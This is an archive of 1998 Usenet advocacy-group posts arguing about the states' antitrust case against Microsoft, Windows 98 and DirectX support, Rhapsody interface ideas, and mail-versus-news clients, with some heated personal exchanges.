sums that are a fraction of what they'd be forced to pay if they lost
court cases (esp when you factor in legal bills). It's Congress that
Tobacco has a beef against, not the States. It was a _good_ deal for
Tobacco, and really good for their business. Everything that I've heard
(including listening to some Tobacco Executives on NPR) lead me to believe
that they approved of the discussions and their outcome. Hell, they even
got wording written in to lay extra damages on Liggett (the Tobacco
company that broke ranks and released documents, forcing Tobacco companies
to change tacks. It's Liggett they are mad at, not the States).
>I did not foresee that the States would then turn around and use this new
>power of theirs again so soon. I certainly didn't foresee their going after
>Microsoft.
It's not a new power, and while I was a bit leary about it, you seen to be
falling over into paranoia.
>I am not able to foresee a limit to the use of this power. There are fifty
>states to choose from if you want to pick a team to go bully some company or
>person you don't like. This tool is more than sufficiently powerful to turn
>against the user. I do not think this is a good thing.
Wah! States can force business to comply with their business practices.
--
Ted Brown tbrown@netset.com
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 5 May 1998 08:56:46 -0600
Organization: Idaho State University
Message-ID: <6in9be$jdd$1@inconnu.isu.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
In article <6imcmk$oj1$3@ligarius.ultra.net>,
John Saunders <jws@jws.ultranet.com> wrote:
->Would the vendors of USB peripherals be hurt if there is no mainstream
->operating system that supports USB?
Umm, Windows95 supports USB (as does Linux...)
->Would companies which have been testing their products against Windows 98 be
->concerned if Windows 98 didn't ship?
Not really, since Windows95 and Windows98 are almost exactly the same...
->Would consumers who want to upgrade their existing systems by adding large
->hard disks be impacted by the lack of FAT32 support in Win95-retail?
Umm, Windows95 supports Fat32... (and you have yet to make a point)
->Don't be fooled. If DOJ and the State Extortionists General have their way,
->Microsoft won't be the only one to be hurt by this.
Your logic, perhaps?
->I did not foresee that the States would then turn around and use this new
->power of theirs again so soon. I certainly didn't foresee their going after
->Microsoft.
It's been done before... Ever heard of AT&T?
->I am not able to foresee a limit to the use of this power. There are fifty
->states to choose from if you want to pick a team to go bully some company or
->person you don't like. This tool is more than sufficiently powerful to turn
->against the user. I do not think this is a good thing.
Boo-hoo.
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 15:05:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kuam7.b2a.sal@panix3.panix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com> <6im1h4$87v$1@news.digifix.com> <slrn6kt8jn.b98.sal@panix3.panix.com> <6imav3$bf3$1@news.digifix.com>
On 5 May 1998 06:18:11 GMT, Scott Anguish <sanguish@digifix.com> wrote:
>On 05/04/98, Salvatore Denaro wrote:
>>> Or a service that allows you to Mute the sound by a command
>>>key combination..
>>And if you have a panel that is a front end to this service, haven't
>you
>>just re-invented the control strip?
> No.. Control Strip is an alternative method of accessing
>Control Panel functionality right?
Good point.
> Adding a front end to it isn't the same as re-inventing the
>control strip... its more the equivalent of a Control Panel.. (which
>already exists in the form of Preferences.app)
Ok, so a nicer pop-up volume control? I don't think that requiring
the keyboard would be the best for that. It should be something you
can set to a key-command combo, but there should be a "lite" control
panel. I much perfer a little visual feedback when I setting like
volume.
The dock would be perfect for this. (Assuming that the dock, or something
dock-like is in Rhapsody CR1) I wouldn't mind using a "slot" on my dock for
a mute button and volume control.
>BTW.. I have an Apple keyboard here with volume keys on it.. so it
>isn't just NeXT and Sun.. :-)
When did Apple make it? Are any still around? I might want one if I
buy a G3 this year.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 5 May 1998 15:15:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kub96.b2a.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net>
On Tue, 05 May 1998 14:36:10 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> A guy can get whiplash trying to keep track of your point.
>Another casualty of high-level discussion. This isn't the first time
>it's happened to you, Salvatore.
This wouldn't happen if you would just stick to the point, and not try
to morph it when you are shown to be wrong. When you were shown to be clueless
about the value of differential measurments, you tried to turn this into
a discussion of how much data was collected.
>> On Fri, 01 May 1998 14:44:29 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
>> >And my point was that the conclusions you can draw from your data are
>> >subject to the amount of data you poll from the population,
>>
>> That didn't sound like your point:
>>
>> >From: Message-ID: <35478DF9.21CC@CONVEX.COM>
>> >The problem is not with percentage increase, but with percentages
>> >measured in percentages. Such differential measurements, especially when
>> >based on a fluctuating population, are totally meaningless.
>>
>> I guess that when you get proven wrong, you just morph your point and
>> go on ranting...
>I guess when you dig yourself a hole, you just make disparaging remarks
>about your opponent.
That's funny. Should I post a dozen cases when you have done that?
Any your remarks don't change the fact that you changed your statement.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 15:14:30 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <354F2CD6.618E9CC8@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
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John Rudd wrote:
> First, I can't think of anything that supports your statements associating
> email and news postings as a combined activity.
Besides what I posted? I think that the similarity of content in news
and email messages, alone, speaks for itself. What are the commands in
the menus for your mail and news clients? How many can we identify as
twins? Reply, compose, delete, mark read, file in folder, etc, etc?
The last one brings up another point already mentioned: I file news and
mail postings together because I associate their content. Often,
newsgroup threads move into private email and I want a record. When I'm
looking for messages on USENET, I often get replies from both private
email and newsgroup postings, and I want to store them in a single
subject location. I have a single folder structure and I want it handled
in a unified way.
Call it my "messaging" application. The question I have for you is "what
do you see as fundamentally different about messaging in mail as
compared to messaging in USENET?"
> Yes, there are many
> similarities to the interface and the actions, but your statement implies (or
> at least I read it to imply) that the two are cognitavely similar, for
> historical purposes. I would say exactly the opposite.. mailing lists and
> newsgroups are seperate entities that live on apart from eachother, or
> gatewayed to eachother.
Because they *are* separate, but they are similar. I don't see your
point at all. The fact that mailing lists and newsgroup don't coexist (I
don't even know what such a thing would mean) is self-evident. The fact
that, to the end-user, they are quite similar, should also be
self-evident.
> But they are not "the same thing". There are plenty
> of things for which I would never create a newsgroup to substitute for a
> mailing list (broadcast messages from a single address to a group of
> subscribers, for example).
And all of them are subjective reasons. Objectively, mailing lists and
newsgroups serve precisely the same purpose, to which almost any
end-user will attest: the dissemination of discussion via text messages
over the Internet.
> There are also some resource differences -- a
> majordomo list can have a directly associated group of logs and resources
> that you can access via the list. Accessing logs and binary/source archives
> from a news group is generally a completely seperate activity from posting
> (unless you directly use deja news).
Yes, a difference. A comparatively minor one, at that.
> The news group has no concept of
> directly controlling, accessing, or maintaining information about those sorts
> of resources. The best you can do is regularly post a FAQ with URL's for
> repositories and such. This is not the same thing.
Look, I'm not talking about understanding how to use the two different
discussions. The client doesn't exist to teach the user how to use a
mailing list. I'm talking about *usage*. When you've gotten past all the
hangups about how lists and newsgroups are *different*, perhaps you can
see how they're both *used* in the same ways for day-to-day purposes.
Besides, the really weird thing about your whole argument is the fact
that all of those different mechanisms you discuss for different lists
and groups are simply mechanisms that lay *within* the domain of mail
and news, themselves. That means that to handle lists and groups, you're
using functionality you'd already have built in to a client of each sort
anyway. In other words, why is the fact that you use email to handle
extraneous mailing-list functions an argument for separating email from
news?
Finally, for what it's worth, most of the mailing lists I'm subscribed
to are large enough that you need a Web browser to access the logs and
archives, anyway.
> As for the program implimentations being similar, I don't think that argues
> against my point at all. If anything, it makes it easier for the author to
> share code between two seperate clients, and then optimize them seperately as
> two different applications.
Whatever. Unless you do something intelligent like build each client's
optimizations as a software component (like, say, OpenDoc) you're going
to end up with two similar but diverging source trees, and a whole lot
of expectations of abstract interface similarity that will, in reality,
be a bitch to maintain. No, thanks.
> The similarities in technical implimentation
> only serve to make it easier to give consistant interfaces to the user, and
> share code. They do not at all imply that they should be combined into one
> bloatware application.
It's a mistake to assume that all unification efforts are "bloatware". I
could easily apply your argument by saying that compilers and linkers
should have separate interfaces, and nobody should try to combine them
together. Why, that would be bloatware!
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 09:08:55 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6imkv7$nkm$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6id2hs$6oi$1@ns3.vrx.net>
<6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net>
<6iktl0$98e$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6iktl0$98e$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> I don't really think there should be, either. I think it's better to
> be modular and have a "quote selected text" TickleService or something.
Services are indeed OK for these types of things, but I find them to be
somewhat "unnatural" in the limiting cases. In this case I would much prefer
to have it in the edit menu as a "option" keyed menu item. Now that Rhaps
has full option key support in menus this shouldn't cause overlap either -
option-paste would likely work.
> (Then you could do the same thing in any app.) But I suppose an argument
> could be made for convenience if you do that a lot. I personally don't;
> when I paste something in from an external source, it's not appropriate
The issue for me is when I quote text I do so in blocks. I pull in a small
part of the message I'm replying to, reply to that, then pull in the next
part. In fact now that I think of it it would be nice if the app could be
set to do quoting whenever you cut and paste (or drag) from another message,
or perhaps just the one you're replying to.
It seems the standard on OS is the Unix one, quote the entire thing and let
the user remove blocks as required. OK I suppose but I find that difficult
to work on on a large message.
> Yeah, we've heard it all before. People's opinions on interfaces differ
> you know.
Oh I know.
> What's _your_ idea of a super-modern k00l mail interface?
Well for one the folder navigation should be "natural", that is it should
not appear as something "special" as it does now with Mailboxes. I think the
user's invested enough time learning the navigation of the folder system
already and adding a new one seems to have no benefit other than unread
counting. I think the later can be added pretty easily to the existing
folder nav systems (heck, I think it should be a part of ALL file systems,
notably when you're on a network!). This would include folder-in-folder,
clear labling in the file system etc.
Another difference I'd like is the ability to make any message, folder or
mailbox (note the difference between the last two, the former holds mail, the
later holds and retrieves mail) an URL that I can then place into OmniWeb's
bookmarks holder. That way I can populate bookmark lists with everything
related to a subject - mailboxes (if applicable), newsgroups and web pages.
- side note: I would like to see Omni's booksmarks doc "opened" with a bundle
that anyone can include in their own apps to display them. I'd also like to
see a _really_ small app that wraps nnn bookmarks and does "new checking"
driven by the bundle/app defined in the setup that can be placed into the
dock.
Finally we need a natural way for messages to exist in more than one place
and that this should be clear to the user. I don't think anyone's done this
really well yet. For instance in many cases you have five sources of mail
but want all the new mail to go to a single folder. In that case when you
open the folder it should be clear that you're looking at a link (or an
original in some cases) and the logic of what happens on a move/delete should
also be obvious.
Finally I think any such product should be smart about how it was "brought
to the front", such that when you click a mailto: on a web page you don't end
up with the entire app coming forward (this drives my nuts in mail.app) and a
single window for that message is all that appears (user settable of course -
a comment that applies universally)). That way it looks like the message is
"inside" the web browser (newsgroup etc.) yet the user always has the same
interface and command structure to work with.
Other than that I'm a big fan of bundles providing the actual delivery
mechanisms. The issue here is to unify the interface and make it more
OpenStep/Mac-like.
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 05 May 1998 15:22:27 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <354F2EB3.29B270E3@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net> <slrn6kub96.b2a.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> >Another casualty of high-level discussion. This isn't the first time
> >it's happened to you, Salvatore.
>
> This wouldn't happen if you would just stick to the point, and not try
> to morph it when you are shown to be wrong. When you were shown to be clueless
> about the value of differential measurments, you tried to turn this into
> a discussion of how much data was collected.
You dipshit. They're both part of the same problem. The fact that you
have continually tiptoed around this fact attests to your inability to
handle the subject matter.
> >I guess when you dig yourself a hole, you just make disparaging remarks
> >about your opponent.
>
> That's funny. Should I post a dozen cases when you have done that?
I did it above. See the part about "You dipshit." The hole I've dug for
myself is getting this far into the discussion with you. Mea culpa!
> Any your remarks don't change the fact that you changed your statement.
Yeesh.
MJP
Date: Tue, 05 May 1998 11:27:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Message-ID: <joe.ragosta-0505981127410001@wil134.dol.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net>
In article <354F23DA.A4DA3BFF@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Salvatore Denaro wrote:
> >
> > A guy can get whiplash trying to keep track of your point.
>
> Another casualty of high-level discussion. This isn't the first time
> it's happened to you, Salvatore.
>
> > On Fri, 01 May 1998 14:44:29 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
> > >And my point was that the conclusions you can draw from your data are
> > >subject to the amount of data you poll from the population,
> >
> > That didn't sound like your point:
> >
> > >From: Message-ID: <35478DF9.21CC@CONVEX.COM>
> > >The problem is not with percentage increase, but with percentages
> > >measured in percentages. Such differential measurements, especially when
> > >based on a fluctuating population, are totally meaningless.
> >
> > I guess that when you get proven wrong, you just morph your point and
> > go on ranting...
>
> I guess when you dig yourself a hole, you just make disparaging remarks
> about your opponent.
I wasn't involved in this discusssion, but how do you get that? Salvatore
showed very clearly that you changed your point in mid-stream. Why is that
an unfair disparaging remark?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 11:17:50 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-0505981117510001@pelli.pathology.pitt.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
(Bich Hoang) wrote:
> : Now, MS claims it is not a monopoly, yet, delaying one of its products
> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>
> Well, It could hurt Business but not so much with homeholds.
> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
> Why?
Because these guys have decided to market vaporware on a promise that the
product will be delivered. IMHO, this guys fucked themselves. As to the
point of hurting business, what CRAP. The only businesses that are hurt
are the one s marketing it befroe its release. Other busisnesses will
chug along with with win95 or what ever they were using in the first
place. W98 may indeed save money in admin costs but that remains to be
seen since the product has not been released yet.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: twlittle@erols.com (TL)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 19:30:48 GMT
Organization: Erol's Internet Services
Message-ID: <354f6548.75775848@news.erols.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
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On Tue, 5 May 1998 02:25:11 -0400, "John Saunders"
<jws@jws.ultranet.com> Said Unto the Faithful:
>. . . . I did not foresee that the States would then turn around and use this new
>power of theirs again so soon. I certainly didn't foresee their going after
>Microsoft.
>
>I am not able to foresee a limit to the use of this power. There are fifty
>states to choose from if you want to pick a team to go bully some company or
>person you don't like. This tool is more than sufficiently powerful to turn
>against the user. I do not think this is a good thing.
If a number of states are actually capable of working cooperatively on
one suit, it's a very good bet that 1) you are dealing with
constitutional issues; 2) the plaintiffs are more than a little
confident that they have a case that can stand up to hard scrutiny; 3)
the foe is too big to be intimidated by one state's legislature.
I'm capitalistic all the way, but even I admit the possibility that
companies get out of hand. Let's air it all out and see how it looks. I
find the tobacco companies' conduct over the last several decades to be
immoral at best - - as documents are opened, we see that our health and
wellbeing had no priority with the tobacco folks. When weighing profits
against health concerns, profits won every time. They even plotted to go
after children. Do you think THAT kind of business should be protected?
What will we see if Microsoft's tactics are opened for all to see? Worth
a look, I'd say.
TL
"Things are more like they are now than they ever were before."
-Former U.S. President Dwight D. Eisenhower
From: Quest <quest@netg.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 18:29:25 +0200
Organization: NetGuide
Message-ID: <354F3E65.7DE975FF@netg.se>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
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John Saunders wrote:
> DC, would a company like CompUSA, which has spent x Million dollars getting
> their advertising and promotions ready for the Win98 launch would be hurt if
> that launch were delayed a year or two?
>
> Would the vendors of USB peripherals be hurt if there is no mainstream
> operating system that supports USB?
>
> Would companies which have been testing their products against Windows 98 be
> concerned if Windows 98 didn't ship?
>
> Would consumers who want to upgrade their existing systems by adding large
> hard disks be impacted by the lack of FAT32 support in Win95-retail?
It has nothing to with who gets hurt. If a company has practices which are
overly harmful to competition and limiting to free enterprise it must be
stopped. If a company sells a dangerous (medical) drug that drug should be
stopped, no matter the economic loss: the risk of personal injury always
outweighs economic interrest. If the company makes a policy of selling
dangerous drugs despite warnings, I see no reason to allow such a company a
continued existance. Similarily, the fundaments of free enterprise must be
protected, because the harm (in this case a matter of choise and diversity)
done by eroding buisness ethics are infinitely larger. Consider the society we
would get if all manufacturers would start trying to push retailers about
concerning what products they wanted to sell (which is a close analogy to what
M$ tries to do).
So if some businesses gets hurt if M$ takes a fall? I fail to see why this is
relevant. They know the rules. They can read the writing on the wall just as
well as you and I. If those companies can't protect themselves against bad
investments, they're not doing a good job.
I agree with DC. This is nothing but a commercial stunt; something like "all
publicity is good publicity." They are certainly not talking to the DoJ: in my
(swedish) experience, that seems exactly like the kind of thing to do to get
DoJ to double their effort, whose tenacity is legend. What scares me is that
according to (http://www.news.com/News/Item/0,4,21772, 00.html?st.ne.fd.gif.d),
26 company executives wrote a similar letter last week:
The latest claim of impending doom came in a letter
Microsoft's chief financial officer Greg Maffei sent to
Wall Street analysts and Microsoft partners. In it, he
said a delay would likely bring about "broad, negative
consequences not just for Microsoft but also for the
entire PC industry." A letter penned last week by top
executives at 26 companies made similar predictions.
T W E N T Y S I X T O P E X E C U T I V E S ! ! I hope everyone reading this
realises the amount of weight needed to get that kind of thing to happen. If
you can do that TO MARKET YOUR PRODUCTS, you're not an anti-competitive
business practitioner, you're a menace to society (ok, a bit on the dramatic
side, but still).
Quest
From: "Pinochet" <9grayhome9@00sprintmail0me0.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 5 May 1998 12:02:24 -0500
Message-ID: <6ingl7$f7$1@newsfep1.sprintmail.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de>
Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
> > Well, actually MS is trying to encourage the switch to NT, and
>DirectX6 will be on NT5 first, so I think you're a little behind the
times.
>
>That makes it even worse.
No, it doesn't...you're making some foolish assumptions, that's what.
>That means that by now, Microsoft is forcing us to use win95 since
>directx 5 will not come out for NT4.
Well, actually you CAN get DX5 for NT4, however since DX6 is so
close, MS has decided not to release that patch(though you can still
get it), and instead will have one for DX6 when it is done.
>Then, as win98 is out, we have to buy it also.
Why? Maybe if they didn't put DX6 on 95, and worse yet you just had
to play some new games...but then only the first is the choice of MS,
the rest is YOURS.
>And when then NT comes out with directx6 we also have to buy it.
Wrong...DirectX6 will probably be available on W98 first, since NT5.0
isn't coming anytime soon...however DX6 will be done on NT first.
>So Microsoft is forcing the users that want to play games to buy 95, 98
>AND NT5.
Nope. Sorry, you don't have to buy 95 if you can live without *some* games
now, you certainly don't have to buy 98 *yet* as DX6 isn't released, and if
it's not on W98, then why would you have to buy W98? Which means
you'd only have to buy NT 5....but wait, maybe MS will patch 95 and NT
to support Directx6, did you think of that?
> And what about directx 7 ? Maybe it will only be available for windows
> 00 (Big problem with y2k)?
Well, considering when MS plans to release both of those, it is a distinct
possibility, but then why should MS be supporting 5 or so year old stuff
with the latest and greatest?
>> >They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
>> >the matter.
>>
>> No. What MS should do is release another Service Pack with support for
>> later versions of DirectX. They did this with SP3, and DX3, or didn't
you
>> know?
>
>Don't you see that they will not do this because they want you to buy
>the next version of NT?
I see that is possible. I don't see it as certain.
>Now, since Microsoft popularity is going down more and
>more,
Wrong. While in limited groups MS might be hated, in others, people
just don't give a shit..
>they have to force the users to buy them.
No, they don't....in fact such an act would be counterproductive if you
asked me....
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 05 May 1998 18:36:30 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <354F400E.90F@stud.uni-erlangen.de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
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darknerd@shell4.ba.best.com wrote:
> My argument is that Micro$oft is forcing users and developers to use
> DOS-booting Windows '95 instead of the more stable WindowsNT.
Why? If you have the money, M$ would be more than happy to supply you
with the latest and uh...greatest? NT version.
> I'm finding that more and more games are NOT supporting WindowsNT 4.0. I
So what? If you want games, stability is not an issue and Winblows 95 is
pretty good at loading games :)
> recently explored Micro$oft's DirectX developer's site (DirectX being the
> game technology), and found the latest version of DirectX is NOT supported
> on WindowsNT 4.0, but rather be supported in WindowsNT 5.0 which forces me
> to upgrade.
Sure. Gamers always need the fastest hardware on the market anyway so
you should be able to get the bucks for an "upgrade" from sowhere.
> This SUCKS!!!!
Now don't tell us you didn't know about that *before* buying a
GatesCrate!?
M$'s business practice has always sucked, sucks and is going to suck as
long as the company exists - I don't pity you.
For gaming, buy a Playstation. It's cheap and pirate games are as easily
available as on the GC (or did you have any other motivation to go GC
for gaming?). For work, buy a computer.
> Basically, Microsoft not supporting WindowNT 4.0 with DirectX is forcing
> game companies to only support Windows '95. Furthermore, WindowsNT 4.0 is
> obsoleted for future _UNRELEASED_ versions of WindowsNT.
So what? Game companies could stick to DX5 (or ist it DX4 ATM?).
> This forces I, the consumer, to user Windows '95 or purchase an upgraded
> version of WindowsNT 5.0 for the stability if affords and compatability
> with current gaming software.
What the hell do you care about stability? You don't need to multitask
Quake and Incoming, do you?
> I'm really peeved by this!!! I can rant and raved all I want, but I think
> letters to my senator's and attorny general are more appropriate on their
> business practices.
ROTFL! Cool, at least you admit M$ pisses you off, even if your reasons
are...well...funny.
ttyl!
Matthias
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 05 May 1998 19:01:43 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <354F45F7.6D1F@stud.uni-erlangen.de>
References: <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <B1741506-62A7C3@141.214.128.36>
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Robert A. Decker wrote:
> Maybe you should think about investing your money in a Nintendo instead
> of a computer...
A Nintendo *and* a computer *instead* of a GC!
ttyl!
Matthias
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 11:57:48 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0505981157480001@130.130.117.53>
